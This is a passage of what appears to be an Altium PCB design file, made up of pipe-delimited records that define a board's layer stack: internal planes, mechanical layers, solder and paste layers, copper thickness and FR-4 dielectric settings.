28|V9_CACHE_LAYER48_LAYERID=16777245|V9_CACHE_LAYER48_USEDBYPRIMS=FALSE|V9_CACHE_LAYER48_COPTHICK=1.4mil|V9_CACHE_LAYER48_COMPONENTPLACEMENT=0|V9_CACHE_LAYER49_ID={6DFF7FA6-2FDC-4AC2-A086-57F923E84159}|V9_CACHE_LAYER49_NAME=Mid-Layer 29|V9_CACHE_LAYER49_LAYERID=16777246|V9_CACHE_LAYER49_USEDBYPRIMS=FALSE|V9_CACHE_LAYER49_COPTHICK=1.4mil|V9_CACHE_LAYER49_COMPONENTPLACEMENT=0|V9_CACHE_LAYER50_ID={39A14A3A-0E9C-4356-8840-5CD267F22BBD}|V9_CACHE_LAYER50_NAME=Mid-Layer 30|V9_CACHE_LAYER50_LAYERID=16777247|V9_CACHE_LAYER50_USEDBYPRIMS=FALSE|V9_CACHE_LAYER50_COPTHICK=1.4mil|V9_CACHE_LAYER50_COMPONENTPLACEMENT=0|V9_CACHE_LAYER51_ID={5FCADAC4-66B2-4043-8237-11DFFACEA9C5}|V9_CACHE_LAYER51_NAME=Internal Plane 1|V9_CACHE_LAYER51_LAYERID=16842753|V9_CACHE_LAYER51_USEDBYPRIMS=FALSE|V9_CACHE_LAYER51_COPTHICK=1.4mil|V9_CACHE_LAYER51_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER52_ID={C5D6A258-CC56-40F5-855F-B8D977F4CE56}|V9_CACHE_LAYER52_NAME=Internal Plane 2|V9_CACHE_LAYER52_LAYERID=16842754|V9_CACHE_LAYER52_USEDBYPRIMS=FALSE|V9_CACHE_LAYER52_COPTHICK=1.4mil|V9_CACHE_LAYER52_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER53_ID={5843A3E0-08E3-409E-A8B4-BF5B9280E3BF}|V9_CACHE_LAYER53_NAME=Internal Plane 3|V9_CACHE_LAYER53_LAYERID=16842755|V9_CACHE_LAYER53_USEDBYPRIMS=FALSE|V9_CACHE_LAYER53_COPTHICK=1.4mil|V9_CACHE_LAYER53_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER54_ID={EC40BCFF-0074-4238-A520-B4A20F24C61C}|V9_CACHE_LAYER54_NAME=Internal Plane 4|V9_CACHE_LAYER54_LAYERID=16842756|V9_CACHE_LAYER54_USEDBYPRIMS=FALSE|V9_CACHE_LAYER54_COPTHICK=1.4mil|V9_CACHE_LAYER54_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER55_ID={E459C708-A0D7-427B-8EA8-B6E89DC0FC19}|V9_CACHE_LAYER55_NAME=Internal Plane 5|V9_CACHE_LAYER55_LAYERID=16842757|V9_CACHE_LAYER55_USEDBYPRIMS=FALSE|V9_CACHE_LAYER55_COPTHICK=1.4mil|V9_CACHE_LAYER55_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER56_ID={BD09DE05-957A-41A1-817A-CB43318F9765}|V9_CACHE_LAYER56_NAME=Internal Plane 6|V9_CACHE_LAYER56_LAYERID=16842758|V9_CACHE_LAYER56_USEDBYPRIMS=FALSE|V9_CACHE_LAYER56_COPTHICK=1.4mil|V9_CACHE_LAYER56_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER57_ID={F387BFFE-83B1-4E53-BCA5-141D68E2F0EE}|V9_CACHE_LAYER57_NAME=Internal Plane 7|V9_CACHE_LAYER57_LAYERID=16842759|V9_CACHE_LAYER57_USEDBYPRIMS=FALSE|V9_CACHE_LAYER57_COPTHICK=1.4mil|V9_CACHE_LAYER57_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER58_ID={4523E0CB-C833-4771-818B-7B45BADF8040}|V9_CACHE_LAYER58_NAME=Internal Plane 8|V9_CACHE_LAYER58_LAYERID=16842760|V9_CACHE_LAYER58_USEDBYPRIMS=FALSE|V9_CACHE_LAYER58_COPTHICK=1.4mil|V9_CACHE_LAYER58_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER59_ID={6726A93D-9BFE-44EB-BE27-B13D312A28D1}|V9_CACHE_LAYER59_NAME=Internal Plane 9|V9_CACHE_LAYER59_LAYERID=16842761|V9_CACHE_LAYER59_USEDBYPRIMS=FALSE|V9_CACHE_LAYER59_COPTHICK=1.4mil|V9_CACHE_LAYER59_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER60_ID={FA091E45-95AC-43BD-9D9E-DD2CFB83A3B5}|V9_CACHE_LAYER60_NAME=Internal Plane 10|V9_CACHE_LAYER60_LAYERID=16842762|V9_CACHE_LAYER60_USEDBYPRIMS=FALSE|V9_CACHE_LAYER60_COPTHICK=1.4mil|V9_CACHE_LAYER60_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER61_ID={EA8C4DCA-7FB8-4BFC-9D7B-CF6BA960FCD1}|V9_CACHE_LAYER61_NAME=Internal Plane 11|V9_CACHE_LAYER61_LAYERID=16842763|V9_CACHE_LAYER61_USEDBYPRIMS=FALSE|V9_CACHE_LAYER61_COPTHICK=1.4mil|V9_CACHE_LAYER61_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER62_ID={F17233E1-D632-494D-B28A-9474875AC851}|V9_CACHE_LAYER62_NAME=Internal Plane 12|V9_CACHE_LAYER62_LAYERID=16842764|V9_CACHE_LAYER62_USEDBYPRIMS=FALSE|V9_CACHE_LAYER62_COPTHICK=1.4mil|V9_CACHE_LAYER62_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER63_ID={7643C5B0-152C-4FEA-9D6A-02F130ECFD18}|V9_CACHE_LAYER63_NAME=Internal Plane 13|V9_CACHE_LAYER63_LAYERID=16842765|V9_CACHE_LAYER63_USEDBYPRIMS=FALSE|V9_CACHE_LAYER63_COPTHICK=1.4mil|V9_CACHE_LAYER63_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER64_ID={3B0614FF-8DF1-4F0B-910F-A821ECDECD61}|V9_CACHE_LAYER64_NAME=Internal Plane 14|V9_CACHE_LAYER64_LAYERID=16842766|V9_CACHE_LAYER64_USEDBYPRIMS=FALSE|V9_CACHE_LAYER64_COPTHICK=1.4mil|V9_CACHE_LAYER64_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER65_ID={62680A32-F342-4F76-9DE4-F7FDE9280883}|V9_CACHE_LAYER65_NAME=Internal Plane 15|V9_CACHE_LAYER65_LAYERID=16842767|V9_CACHE_LAYER65_USEDBYPRIMS=FALSE|V9_CACHE_LAYER65_COPTHICK=1.4mil|V9_CACHE_LAYER65_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER66_ID={58CCA1F0-CD98-4DFC-A1C4-4C2AB3406D70}|V9_CACHE_LAYER66_NAME=Internal Plane 16|V9_CACHE_LAYER66_LAYERID=16842768|V9_CACHE_LAYER66_USEDBYPRIMS=FALSE|V9_CACHE_LAYER66_COPTHICK=1.4mil|V9_CACHE_LAYER66_PULLBACKDISTANCE=20mil|V9_CACHE_LAYER67_ID={E8290CA5-BEA0-4E83-96B1-23D20EA02F85}|V9_CACHE_LAYER67_NAME=Drill Guide|V9_CACHE_LAYER67_LAYERID=16973836|V9_CACHE_LAYER67_USEDBYPRIMS=FALSE|V9_CACHE_LAYER68_ID={08621FAB-15B4-4F84-BEAC-BA151C1F4B72}|V9_CACHE_LAYER68_NAME=Keep-Out Layer|V9_CACHE_LAYER68_LAYERID=16973837|V9_CACHE_LAYER68_USEDBYPRIMS=FALSE|V9_CACHE_LAYER69_ID={3864CBAF-735C-4B7A-BAE9-487907FA8A74}|V9_CACHE_LAYER69_NAME=Mechanical 1|V9_CACHE_LAYER69_LAYERID=16908289|V9_CACHE_LAYER69_USEDBYPRIMS=TRUE|V9_CACHE_LAYER69_MECHENABLED=TRUE|V9_CACHE_LAYER70_ID={EB226783-9634-4E34-AC70-BAC099967C4F}|V9_CACHE_LAYER70_NAME=Mechanical 2|V9_CACHE_LAYER70_LAYERID=16908290|V9_CACHE_LAYER70_USEDBYPRIMS=FALSE|V9_CACHE_LAYER70_MECHENABLED=FALSE|V9_CACHE_LAYER71_ID={CBEE9FFA-3088-4BDC-A77F-7B88E5C3E621}|V9_CACHE_LAYER71_NAME=Mechanical 3|V9_CACHE_LAYER71_LAYERID=16908291|V9_CACHE_LAYER71_USEDBYPRIMS=FALSE|V9_CACHE_LAYER71_MECHENABLED=FALSE|V9_CACHE_LAYER72_ID={B104DC7E-B5C6-49F4-A7E6-CF3DDD388A50}|V9_CACHE_LAYER72_NAME=Mechanical 4|V9_CACHE_LAYER72_LAYERID=16908292|V9_CACHE_LAYER72_USEDBYPRIMS=FALSE|V9_CACHE_LAYER72_MECHENABLED=FALSE|V9_CACHE_LAYER73_ID={DA40F3B6-1EDC-43A1-B63B-AF6F4DF3BBA6}|V9_CACHE_LAYER73_NAME=Mechanical 5|V9_CACHE_LAYER73_LAYERID=16908293|V9_CACHE_LAYER73_USEDBYPRIMS=FALSE|V9_CACHE_LAYER73_MECHENABLED=FALSE|V9_CACHE_LAYER74_ID={FAE5DF52-1C9B-429C-BB7E-87A7DCA71801}|V9_CACHE_LAYER74_NAME=Mechanical 6|V9_CACHE_LAYER74_LAYERID=16908294|V9_CACHE_LAYER74_USEDBYPRIMS=FALSE|V9_CACHE_LAYER74_MECHENABLED=FALSE|V9_CACHE_LAYER75_ID={697553D7-17A5-49BD-8D18-D2B57BB66E97}|V9_CACHE_LAYER75_NAME=Mechanical 7|V9_CACHE_LAYER75_LAYERID=16908295|V9_CACHE_LAYER75_USEDBYPRIMS=FALSE|V9_CACHE_LAYER75_MECHENABLED=FALSE|V9_CACHE_LAYER76_ID={4E6BD0D0-D9F9-4353-A728-FF9E229BEFAC}|V9_CACHE_LAYER76_NAME=Mechanical 8|V9_CACHE_LAYER76_LAYERID=16908296|V9_CACHE_LAYER76_USEDBYPRIMS=FALSE|V9_CACHE_LAYER76_MECHENABLED=FALSE|V9_CACHE_LAYER77_ID={0E025A02-9809-459D-B658-102C695DC543}|V9_CACHE_LAYER77_NAME=Mechanical 9|V9_CACHE_LAYER77_LAYERID=16908297|V9_CACHE_LAYER77_USEDBYPRIMS=FALSE|V9_CACHE_LAYER77_MECHENABLED=FALSE|V9_CACHE_LAYER78_ID={883646CA-70D8-49E7-AF54-51157F0FE954}|V9_CACHE_LAYER78_NAME=Mechanical 10|V9_CACHE_LAYER78_LAYERID=16908298|V9_CACHE_LAYER78_USEDBYPRIMS=FALSE|V9_CACHE_LAYER78_MECHENABLED=FALSE|V9_CACHE_LAYER79_ID={CBE638A4-2687-4B18-8847-B98D06CDCC62}|V9_CACHE_LAYER79_NAME=Mechanical 11|V9_CACHE_LAYER79_LAYERID=16908299|V9_CACHE_LAYER79_USEDBYPRIMS=FALSE|V9_CACHE_LAYER79_MECHENABLED=FALSE|V9_CACHE_LAYER80_ID={6DAFEEC7-8500-40F6-B6E3-02516FE2CAAE}|V9_CACHE_LAYER80_NAME=Mechanical 12|V9_CACHE_LAYER80_LAYERID=16908300|V9_CACHE_LAYER80_USEDBYPRIMS=FALSE|V9_CACHE_LAYER80_MECHENABLED=FALSE|V9_CACHE_LAYER81_ID={EB37C7B0-0986-4DF6-9870-6AA3F7163DA3}|V9_CACHE_LAYER81_NAME=Mechanical 13|V9_CACHE_LAYER81_LAYERID=16908301|V9_CACHE_LAYER81_USEDBYPRIMS=FALSE|V9_CACHE_LAYER81_MECHENABLED=FALSE|V9_CACHE_LAYER82_ID={05571D47-8A5D-432F-A1A8-CFE9C0ACE74D}|V9_CACHE_LAYER82_NAME=Mechanical 14|V9_CACHE_LAYER82_LAYERID=16908302|V9_CACHE_LAYER82_USEDBYPRIMS=FALSE|V9_CACHE_LAYER82_MECHENABLED=FALSE|V9_CACHE_LAYER83_ID={2485AD6A-6A77-417C-BFDE-596431B32B66}|V9_CACHE_LAYER83_NAME=Mechanical 15|V9_CACHE_LAYER83_LAYERID=16908303|V9_CACHE_LAYER83_USEDBYPRIMS=TRUE|V9_CACHE_LAYER83_MECHENABLED=TRUE|V9_CACHE_LAYER84_ID={292A3AEC-A458-4AEF-8B19-445BA925A512}|V9_CACHE_LAYER84_NAME=Mechanical 16|V9_CACHE_LAYER84_LAYERID=16908304|V9_CACHE_LAYER84_USEDBYPRIMS=FALSE|V9_CACHE_LAYER84_MECHENABLED=FALSE|V9_CACHE_LAYER85_ID={FEC438AE-3685-4F17-ABF2-1D3E72C4D493}|V9_CACHE_LAYER85_NAME=Drill Drawing|V9_CACHE_LAYER85_LAYERID=16973838|V9_CACHE_LAYER85_USEDBYPRIMS=FALSE|V9_CACHE_LAYER86_ID={A259A2C4-CFE6-4916-B6BF-86782F7FBF0D}|V9_CACHE_LAYER86_NAME=Mechanical 17|V9_CACHE_LAYER86_LAYERID=16908305|V9_CACHE_LAYER86_USEDBYPRIMS=FALSE|V9_CACHE_LAYER86_MECHENABLED=FALSE|V9_CACHE_LAYER87_ID={E2B36080-7BF6-43BD-B981-3003010A9609}|V9_CACHE_LAYER87_NAME=Mechanical 18|V9_CACHE_LAYER87_LAYERID=16908306|V9_CACHE_LAYER87_USEDBYPRIMS=FALSE|V9_CACHE_LAYER87_MECHENABLED=FALSE|V9_CACHE_LAYER88_ID={81316F7E-F321-47C1-8971-42E883E9CB0E}|V9_CACHE_LAYER88_NAME=Mechanical 19|V9_CACHE_LAYER88_LAYERID=16908307|V9_CACHE_LAYER88_USEDBYPRIMS=FALSE|V9_CACHE_LAYER88_MECHENABLED=FALSE|V9_CACHE_LAYER89_ID={14AAB5F6-7C80-4362-A21F-B9C1FDFDDB22}|V9_CACHE_LAYER89_NAME=Mechanical 20|V9_CACHE_LAYER89_LAYERID=16908308|V9_CACHE_LAYER89_USEDBYPRIMS=FALSE|V9_CACHE_LAYER89_MECHENABLED=FALSE|V9_CACHE_LAYER90_ID={CBCFC311-5586-4364-A18D-90F11394123B}|V9_CACHE_LAYER90_NAME=Mechanical 21|V9_CACHE_LAYER90_LAYERID=16908309|V9_CACHE_LAYER90_USEDBYPRIMS=FALSE|V9_CACHE_LAYER90_MECHENABLED=FALSE|V9_CACHE_LAYER91_ID={3AB1D3B0-DB36-4BB9-A00A-5F67A876CFE3}|V9_CACHE_LAYER91_NAME=Mechanical 22|V9_CACHE_LAYER91_LAYERID=16908310|V9_CACHE_LAYER91_USEDBYPRIMS=FALSE|V9_CACHE_LAYER91_MECHENABLED=FALSE|V9_CACHE_LAYER92_ID={B81DDB01-F6EB-4079-B0E5-DAD27690619B}|V9_CACHE_LAYER92_NAME=Mechanical 23|V9_CACHE_LAYER92_LAYERID=16908311|V9_CACHE_LAYER92_USEDBYPRIMS=FALSE|V9_CACHE_LAYER92_MECHENABLED=FALSE|V9_CACHE_LAYER93_ID={FCA2D964-A0F8-46D8-8124-E558605ABA9E}|V9_CACHE_LAYER93_NAME=Mechanical 24|V9_CACHE_LAYER93_LAYERID=16908312|V9_CACHE_LAYER93_USEDBYPRIMS=FALSE|V9_CACHE_LAYER93_MECHENABLED=FALSE|V9_CACHE_LAYER94_ID={5E506687-FC3C-4DE6-B88B-A3AD6F4A7C70}|V9_CACHE_LAYER94_NAME=Mechanical 25|V9_CACHE_LAYER94_LAYERID=16908313|V9_CACHE_LAYER94_USEDBYPRIMS=FALSE|V9_CACHE_LAYER94_MECHENABLED=FALSE|V9_CACHE_LAYER95_ID={7A2D3E4C-73EC-4B78-B93C-3A82F6444428}|V9_CACHE_LAYER95_NAME=Mechanical 26|V9_CACHE_LAYER95_LAYERID=16908314|V9_CACHE_LAYER95_USEDBYPRIMS=FALSE|V9_CACHE_LAYER95_MECHENABLED=FALSE|V9_CACHE_LAYER96_ID={A8684D33-2E09-4325-A74B-B3C7708452A2}|V9_CACHE_LAYER96_NAME=Mechanical 27|V9_CACHE_LAYER96_LAYERID=16908315|V9_CACHE_LAYER96_USEDBYPRIMS=FALSE|V9_CACHE_LAYER96_MECHENABLED=FALSE|V9_CACHE_LAYER97_ID={AEFE1341-A326-4186-AF5A-79C7FC4802D2}|V9_CACHE_LAYER97_NAME=Mechanical 28|V9_CACHE_LAYER97_LAYERID=16908316|V9_CACHE_LAYER97_USEDBYPRIMS=FALSE|V9_CACHE_LAYER97_MECHENABLED=FALSE|V9_CACHE_LAYER98_ID={B3553CDF-2E18-443D-AE48-05FAB1548F17}|V9_CACHE_LAYER98_NAME=Mechanical 29|V9_CACHE_LAYER98_LAYERID=16908317|V9_CACHE_LAYER98_USEDBYPRIMS=FALSE|V9_CACHE_LAYER98_MECHENABLED=FALSE|V9_CACHE_LAYER99_ID={FC5D7C46-5B81-44F2-8E7D-AE60AB3C000C}|V9_CACHE_LAYER99_NAME=Mechanical 30|V9_CACHE_LAYER99_LAYERID=16908318|V9_CACHE_LAYER99_USEDBYPRIMS=FALSE|V9_CACHE_LAYER99_MECHENABLED=FALSE|V9_CACHE_LAYER100_ID={2BC814E1-7C2A-433B-9B66-3D6C1B322A8B}|V9_CACHE_LAYER100_NAME=Mechanical 31|V9_CACHE_LAYER100_LAYERID=16908319|V9_CACHE_LAYER100_USEDBYPRIMS=FALSE|V9_CACHE_LAYER100_MECHENABLED=FALSE|V9_CACHE_LAYER101_ID={CE42239C-12F1-42E8-96E1-4549C21CFF9B}|V9_CACHE_LAYER101_NAME=Mechanical 32|V9_CACHE_LAYER101_LAYERID=16908320|V9_CACHE_LAYER101_USEDBYPRIMS=FALSE|V9_CACHE_LAYER101_MECHENABLED=FALSE|LAYERMASTERSTACK_V8STYLE=0|LAYERMASTERSTACK_V8ID={6C6A7AEE-860E-42B8-A7B0-5A4F746E66B0}|LAYERMASTERSTACK_V8NAME=Master layer stack|LAYERMASTERSTACK_V8SHOWTOPDIELECTRIC=FALSE|LAYERMASTERSTACK_V8SHOWBOTTOMDIELECTRIC=FALSE|LAYERMASTERSTACK_V8ISFLEX=FALSE|LAYERSUBSTACK_V8_0ID={133D6234-F010-46C7-B390-43FBDD454A88}|LAYERSUBSTACK_V8_0NAME=Board Layer Stack|LAYERSUBSTACK_V8_0SHOWTOPDIELECTRIC=FALSE|LAYERSUBSTACK_V8_0SHOWBOTTOMDIELECTRIC=FALSE|LAYERSUBSTACK_V8_0ISFLEX=FALSE|LAYERSUBSTACK_V8_0SERVICE=FALSE|LAYERSUBSTACK_V8_0USEDBYPRIMS=FALSE|LAYERSUBSTACK_V8_0TYPE=1|LAYER_V8_0_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|LAYER_V8_0_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|LAYER_V8_0ID={30045540-1B4B-4001-AB64-318F70B47D5C}|LAYER_V8_0NAME=Top Paste|LAYER_V8_0LAYERID=16973832|LAYER_V8_0USEDBYPRIMS=FALSE|LAYER_V8_1_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|LAYER_V8_1_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|LAYER_V8_1ID={F22BABF4-3864-4478-9E30-F3A5F449D148}|LAYER_V8_1NAME=Top Overlay|LAYER_V8_1LAYERID=16973830|LAYER_V8_1USEDBYPRIMS=TRUE|LAYER_V8_2_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|LAYER_V8_2_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|LAYER_V8_2ID={5A303FD1-9A68-46E1-8805-901769ECECC7}|LAYER_V8_2NAME=Top Solder|LAYER_V8_2LAYERID=16973834|LAYER_V8_2USEDBYPRIMS=FALSE|LAYER_V8_2DIELTYPE=3|LAYER_V8_2DIELCONST=3.500|LAYER_V8_2DIELHEIGHT=0.4mil|LAYER_V8_2DIELMATERIAL=Solder Resist|LAYER_V8_2COVERLAY_EXPANSION=0mil|LAYER_V8_3_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|LAYER_V8_3_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|LAYER_V8_3ID={999DF18F-9048-469A-90BE-9E37DD83557B}|LAYER_V8_3NAME=Top Layer|LAYER_V8_3LAYERID=16777217|LAYER_V8_3USEDBYPRIMS=TRUE|LAYER_V8_3COPTHICK=1.4mil|LAYER_V8_3COMPONENTPLACEMENT=1|LAYER_V8_4_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|LAYER_V8_4_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|LAYER_V8_4ID={02BF3CDA-3C8F-4FAD-9742-9D994AE02F07}|LAYER_V8_4NAME=Dielectric 1|LAYER_V8_4LAYERID=17039361|LAYER_V8_4USEDBYPRIMS=FALSE|LAYER_V8_4DIELTYPE=0|LAYER_V8_4DIELCONST=4.800|LAYER_V8_4DIELHEIGHT=12.6mil|LAYER_V8_4DIELMATERIAL=FR-4|LAYER_V8_5_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|LAYER_V8_5_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|LAYER_V8_5ID={9A0521B6-9E50-4E7C-A183-D2BA2C61636A}|LAYER_V8_5NAME=Bottom Layer|LAYER_V8_5LAYERID=16842751|LAYER_V8_5USEDBYPRIMS=TRUE|LAYER_V8_5COPTHICK=1.4mil|LAYER_V8_5COMPONENTPLACEMENT=2|LAYER_V8_6_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|LAYER_V8_6_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|LAYER_V8_6ID={6089F658-C6F8-45EF-ADE9-00844D259BA3}|LAYER_V8_6NAME=Bottom Solder|LAYER_V8_6LAYERID=16973835|LAYER_V8_6USEDBYPRIMS=FALSE|LAYER_V8_6DIELTYPE=3|LAYER_V8_6DIELCONST=3.500|LAYER_V8_6DIELHEIGHT=0.4mil|LAYER_V8_6DIELMATERIAL=Solder Resist|LAYER_V8_6COVERLAY_EXPANSION=0mil|LAYER_V8_7_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|LAYER_V8_7_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|LAYER_V8_7ID={F336B23E-1435-4733-9ED3-34BDF2531FBF}|LAYER_V8_7NAME=Bottom Overlay|LAYER_V8_7LAYERID=16973831|LAYER_V8_7USEDBYPRIMS=FALSE|LAYER_V8_8_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|LAYER_V8_8_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|LAYER_V8_8ID={70A911C0-2DEF-47D0-84F8-E68892450F49}|LAYER_V8_8NAME=Bottom Paste|LAYER_V8_8LAYERID=16973833|LAYER_V8_8USEDBYPRIMS=FALSE|LAYER_V8_9ID={E8290CA5-BEA0-4E83-96B1-23D20EA02F85}|LAYER_V8_9NAME=Drill Guide|LAYER_V8_9LAYERID=16973836|LAYER_V8_9USEDBYPRIMS=FALSE|LAYER_V8_10ID={08621FAB-15B4-4F84-BEAC-BA151C1F4B72}|LAYER_V8_10NAME=Keep-Out Layer|LAYER_V8_10LAYERID=16973837|LAYER_V8_10USEDBYPRIMS=FALSE|LAYER_V8_11ID={3864CBAF-735C-4B7A-BAE9-487907FA8A74}|LAYER_V8_11NAME=Mechanical 1|LAYER_V8_11LAYERID=16908289|LAYER_V8_11USEDBYPRIMS=TRUE|LAYER_V8_11MECHENABLED=TRUE|LAYER_V8_12ID={EB226783-9634-4E34-AC70-BAC099967C4F}|LAYER_V8_12NAME=Mechanical 2|LAYER_V8_12LAYERID=16908290|LAYER_V8_12USEDBYPRIMS=FALSE|LAYER_V8_12MECHENABLED=FALSE|LAYER_V8_13ID={CBEE9FFA-3088-4BDC-A77F-7B88E5C3E621}|LAYER_V8_13NAME=Mechanical 3|LAYER_V8_13LAYERID=16908291|LAYER_V8_13USEDBYPRIMS=FALSE|LAYER_V8_13MECHENABLED=FALSE|LAYER_V8_14ID={B104DC7E-B5C6-49F4-A7E6-CF3DDD388A50}|LAYER_V8_14NAME=Mechanical 4|LAYER_V8_14LAYERID=16908292|LAYER_V8_14USEDBYPRIMS=FALSE|LAYER_V8_14MECHENABLED=FALSE|LAYER_V8_15ID={DA40F3B6-1EDC-43A1-B63B-AF6F4DF3BBA6}|LAYER_V8_15NAME=Mechanical 5|LAYER_V8_15LAYERID=16908293|LAYER_V8_15USEDBYPRIMS=FALSE|LAYER_V8_15MECHENABLED=FALSE|LAYER_V8_16ID={FAE5DF52-1C9B-429C-BB7E-87A7DCA71801}|LAYER_V8_16NAME=Mechanical 6|LAYER_V8_16LAYERID=16908294|LAYER_V8_16USEDBYPRIMS=FALSE|LAYER_V8_16MECHENABLED=FALSE|LAYER_V8_17ID={697553D7-17A5-49BD-8D18-D2B57BB66E97}|LAYER_V8_17NAME=Mechanical 7|LAYER_V8_17LAYERID=16908295|LAYER_V8_17USEDBYPRIMS=FALSE|LAYER_V8_17MECHENABLED=FALSE|LAYER_V8_18ID={4E6BD0D0-D9F9-4353-A728-FF9E229BEFAC}|LAYER_V8_18NAME=Mechanical 8|LAYER_V8_18LAYERID=16908296|LAYER_V8_18USEDBYPRIMS=FALSE|LAYER_V8_18MECHENABLED=FALSE|LAYER_V8_19ID={0E025A02-9809-459D-B658-102C695DC543}|LAYER_V8_19NAME=Mechanical 9|LAYER_V8_19LAYERID=16908297|LAYER_V8_19USEDBYPRIMS=FALSE|LAYER_V8_19MECHENABLED=FALSE|LAYER_V8_20ID={883646CA-70D8-49E7-AF54-51157F0FE954}|LAYER_V8_20NAME=Mechanical 10|LAYER_V8_20LAYERID=16908298|LAYER_V8_20USEDBYPRIMS=FALSE|LAYER_V8_20MECHENABLED=FALSE|LAYER_V8_21ID={CBE638A4-2687-4B18-8847-B98D06CDCC62}|LAYER_V8_21NAME=Mechanical 11|LAYER_V8_21LAYERID=16908299|LAYER_V8_21USEDBYPRIMS=FALSE|LAYER_V8_21MECHENABLED=FALSE|LAYER_V8_22ID={6DAFEEC7-8500-40F6-B6E3-02516FE2CAAE}|LAYER_V8_22NAME=Mechanical 12|LAYER_V8_22LAYERID=16908300|LAYER_V8_22USEDBYPRIMS=FALSE|LAYER_V8_22MECHENABLED=FALSE|LAYER_V8_23ID={EB37C7B0-0986-4DF6-9870-6AA3F7163DA3}|LAYER_V8_23NAME=Mechanical 13|LAYER_V8_23LAYERID=16908301|LAYER_V8_23USEDBYPRIMS=FALSE|LAYER_V8_23MECHENABLED=FALSE|LAYER_V8_24ID={05571D47-8A5D-432F-A1A8-CFE9C0ACE74D}|LAYER_V8_24NAME=Mechanical 14|LAYER_V8_24LAYERID=16908302|LAYER_V8_24USEDBYPRIMS=FALSE|LAYER_V8_24MECHENABLED=FALSE|LAYER_V8_25ID={2485AD6A-6A77-417C-BFDE-596431B32B66}|LAYER_V8_25NAME=Mechanical 15|LAYER_V8_25LAYERID=16908303|LAYER_V8_25USEDBYPRIMS=TRUE|LAYER_V8_25MECHENABLED=TRUE|LAYER_V8_26ID={292A3AEC-A458-4AEF-8B19-445BA925A512}|LAYER_V8_26NAME=Mechanical 16|LAYER_V8_26LAYERID=16908304|LAYER_V8_26USEDBYPRIMS=FALSE|LAYER_V8_26MECHENABLED=FALSE|LAYER_V8_27ID={FEC438AE-3685-4F17-ABF2-1D3E72C4D493}|LAYER_V8_27NAME=Drill Drawing|LAYER_V8_27LAYERID=16973838|LAYER_V8_27USEDBYPRIMS=FALSE|LAYER_V8_28ID={5BD60229-8864-48D1-A8EB-95399348CB16}|LAYER_V8_28NAME=Multi-Layer|LAYER_V8_28LAYERID=16973839|LAYER_V8_28USEDBYPRIMS=TRUE|LAYER_V8_29ID={8070A95E-9307-4315-AEB7-3279CE2E13B1}|LAYER_V8_29NAME=Connections|LAYER_V8_29LAYERID=16973840|LAYER_V8_29USEDBYPRIMS=FALSE|LAYER_V8_30ID={7EB5AEF4-1A76-41D4-9E03-30A4837CD13B}|LAYER_V8_30NAME=Background|LAYER_V8_30LAYERID=16973841|LAYER_V8_30USEDBYPRIMS=FALSE|LAYER_V8_31ID={8102A625-DB52-4B32-89F5-EBC69CA6A514}|LAYER_V8_31NAME=DRC Error Markers|LAYER_V8_31LAYERID=16973842|LAYER_V8_31USEDBYPRIMS=TRUE|LAYER_V8_32ID={AA18D623-7F09-4267-BB86-AB16641CF2C7}|LAYER_V8_32NAME=Selections|LAYER_V8_32LAYERID=16973843|LAYER_V8_32USEDBYPRIMS=FALSE|LAYER_V8_33ID={C29197C8-F94E-4FA2-9DF0-092BF0692FD2}|LAYER_V8_33NAME=Visible Grid 1|LAYER_V8_33LAYERID=16973844|LAYER_V8_33USEDBYPRIMS=FALSE|LAYER_V8_34ID={CBB6B9C8-7C09-4943-BDF2-93A59B98F4D9}|LAYER_V8_34NAME=Visible Grid 2|LAYER_V8_34LAYERID=16973845|LAYER_V8_34USEDBYPRIMS=FALSE|LAYER_V8_35ID={DA4EDDDD-E049-49D0-BC05-78F97F6745B8}|LAYER_V8_35NAME=Pad Holes|LAYER_V8_35LAYERID=16973846|LAYER_V8_35USEDBYPRIMS=FALSE|LAYER_V8_36ID={A1D1422F-3445-48C1-AC9E-19016BB49E01}|LAYER_V8_36NAME=Via Holes|LAYER_V8_36LAYERID=16973847|LAYER_V8_36USEDBYPRIMS=FALSE|LAYER_V8_37ID={BD19B618-ECCD-4B7D-9162-6DD6573F7C3A}|LAYER_V8_37NAME=Top Pad Master|LAYER_V8_37LAYERID=16973848|LAYER_V8_37USEDBYPRIMS=FALSE|LAYER_V8_38ID={8FDE5189-A9FB-4D7C-9FC7-48B4DD5C87EE}|LAYER_V8_38NAME=Bottom Pad 